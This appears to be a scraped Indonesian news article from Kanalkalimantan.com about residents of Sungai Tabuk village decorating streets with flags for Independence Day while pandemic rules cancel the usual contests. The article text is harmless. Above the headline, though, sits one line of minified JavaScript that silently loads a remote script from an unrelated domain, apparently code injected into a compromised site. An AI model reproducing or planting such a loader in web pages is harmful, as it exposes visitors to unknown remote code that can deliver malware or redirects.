(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tak Bisa Gelar Lomba 17-an, Warga Sungai Tabuk Pasang Umbul-umbul dan Bendera di Sepanjang Jalan

KANALKALIMANTAN.COM, MARTAPURA – Pandemi yang menerpa membuat banyak sekali kegiatan hari nasional ditiadakan, salah satunya perayaan Hari Kemerdekaan 17 Agustus yang biasa sangat meriah di berbagai penjuru kota maupun desa. Moment 17 Agustus sering ditunggu-tunggu karena warga bergembira merayakan, sekaligus mengikuti lomba yang diadakan masyarakat. Lomba panjat pinang, lomba karung, makan kerupuk, dan lainnya bagai magnet yang menarik massa untuk menonton.

Sejak pandemi kegiatan-kegiatan tersebut sudah tidak dilakukan agar menghindari kerumunan yang menyebabkan penularan Covid-19 semakin mudah.

Di tengah itu semua, warga tetap antusias menyambut Hari Kemerdekaan, seperti yang dilakukan warga Desa Sungai Tabuk, Kecamatan Sungai Tabuk, Kabupaten Banjar dengan memasang kawasan desa dengan umbul-umbul dan bendera merah putih di sepanjang jalan perkampungan.

Mahyuni, Ketua RT 06 Desa Sungai Tabuk mengatakan, pemasangan ini hanya simbolis, ingin merayakan secara resmi tidak diperbolehkan karena masih pandemi.

“Tapi kita tetap semangat menyambut Hari Kemerdekaan, tetap kita hiasi kampung dengan umbul-umbul dan bendera seperti sekarang,” ujarnya kepada Kanalkalimantan.com, Sabtu (31/7/2021) siang.

“Pemasangan belum selesai, baru sekitar 200 bendera yang dipasang. Seandainya semua warga yang turun pasti cepat selesai,” kata Mahyuni.

“Rencananya seluruh Sungai Tabuk Kota akan dipasang umbul-umbul dan bendera, tapi menunggu instruksi dari pak Pambakal dulu. Tinggal ke arah jalan Pematang Panjang saja lagi, kalau jalan Martapura Lama sudah selesai,” ucapnya. (kanalkalimantan.com/nurul)

Reporter : nurul
Editor : bie